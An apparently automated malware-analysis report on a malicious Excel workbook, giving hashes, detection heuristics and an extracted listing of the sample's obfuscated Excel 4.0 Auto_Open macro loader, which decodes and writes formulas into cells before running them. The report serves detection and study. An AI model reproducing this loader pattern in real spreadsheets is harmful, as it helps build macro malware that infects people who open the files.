Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ddd55951719c626…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:45:31 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 998fb07e093dc3c82fa911faa964c2ba SHA-1: 7acd96d1542f5f5fb334832b2e212ae8ee56e253 SHA-256: 1ddd55951719c626fc9854d0d29bb97d4056276b01c8ec585296f3c5c70eb906
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6440 bytes
SHA-256: d3e0943eedccd8a5063a08d7bffde66baf47e5515d6d88aed9f52d98b3a1217b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YLesLb
' 0018     26 LABEL : Cell Value, String Constant - ansgtskcIXR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A171 
' 0018     25 LABEL : Cell Value, String Constant - BswMGZvsJm len=0 
' 0018     24 LABEL : Cell Value, String Constant - FnTbyHVBb len=0 
' 0018     24 LABEL : Cell Value, String Constant - FvJsgUudP len=0 
' 0018     23 LABEL : Cell Value, String Constant - HwxIwmfY len=0 
' 0018     24 LABEL : Cell Value, String Constant - IyqnEAOxU len=0 
' 0018     20 LABEL : Cell Value, String Constant - JSLlE len=0 
' 0018     24 LABEL : Cell Value, String Constant - kdHAFCTKV len=0 
' 0018     24 LABEL : Cell Value, String Constant - lxpmRnXOZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - mfiGjXsfX len=0 
' 0018     20 LABEL : Cell Value, String Constant - Nqcwr len=0 
' 0018     20 LABEL : Cell Value, String Constant - nVzGQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - RsRoVgCP len=0 
' 0018     27 LABEL : Cell Value, String Constant - tdvTEiRHnmVF len=0 
' 0018     21 LABEL : Cell Value, String Constant - tIhoLL len=0 
' 0018     21 LABEL : Cell Value, String Constant - TjjeZs len=0 
' 0018     21 LABEL : Cell Value, String Constant - uEziSq len=0 
' 0018     27 LABEL : Cell Value, String Constant - vxasAdQmcQVZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - WLfTny len=0 
' 0018     21 LABEL : Cell Value, String Constant - XjjzJV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YLesLb,A91,"SET.NAME("uEziSq",VALUE("0"))",""
'  YLesLb,A93,"SET.NAME("nVzGQ",uEziSq)",""
'  YLesLb,A96,"SET.NAME("HwxIwmfY",uEziSq)",""
'  YLesLb,A98,"SET.NAME("XjjzJV",COUNTA(FvJsgUudP))",""
'  YLesLb,A103,"SET.NAME("tdvTEiRHnmVF",COUNTA(tIhoLL))",""
'  YLesLb,A105,[],""
'  YLesLb,A107,"SET.NAME("IyqnEAOxU","")",""
'  YLesLb,A110,"nVzGQ",""
'  YLesLb,A115,"SET.NAME("RsRoVgCP",HLOOKUP("*",FvJsgUudP,nVzGQ,FALSE))",""
'  YLesLb,A117,"TjjeZs",""
'  YLesLb,A121,"SET.NAME("ansgtskcIXR",uEziSq)",""
'  YLesLb,A124,[],""
'  YLesLb,A127,"ansgtskcIXR",""
'  YLesLb,A132,"mfiGjXsfX",""
'  YLesLb,A134,"JSLlE",""
'  YLesLb,A136,"Nqcwr",""
'  YLesLb,A141,"SET.NAME("kdHAFCTKV",VALUE(HLOOKUP("*",tIhoLL,Nqcwr,FALSE)))",""
'  YLesLb,A144,"vxasAdQmcQVZ",""
'  YLesLb,A148,"IyqnEAOxU",""
'  YLesLb,A150,"HwxIwmfY",""
'  YLesLb,A153,NEXT(),""
'  YLesLb,A158,"BswMGZvsJm",""
'  YLesLb,A162,"SET.NAME("f",INT(T(FORMULA(T(IyqnEAOxU)&"",""&T(BswMGZvsJm)))))",""
'  YLesLb,A165,"lxpmRnXOZ",""
'  YLesLb,A167,NEXT(),""
'  YLesLb,A169,RETURN(),""
'  YLesLb,A191,"SET.NAME("WLfTny",A91)",""
'  YLesLb,A194,"FvJsgUudP",""
'  YLesLb,A196,"SET.NAME("tIhoLL",R42C15)",""
'  YLesLb,A199,"SET.NAME("lxpmRnXOZ",207)",""
'  YLesLb,A204,"SET.NAME("FnTbyHVBb",1)",""
'  YLesLb,A206,WLfTny(),""
'  YLesLb,A207,HALT(),""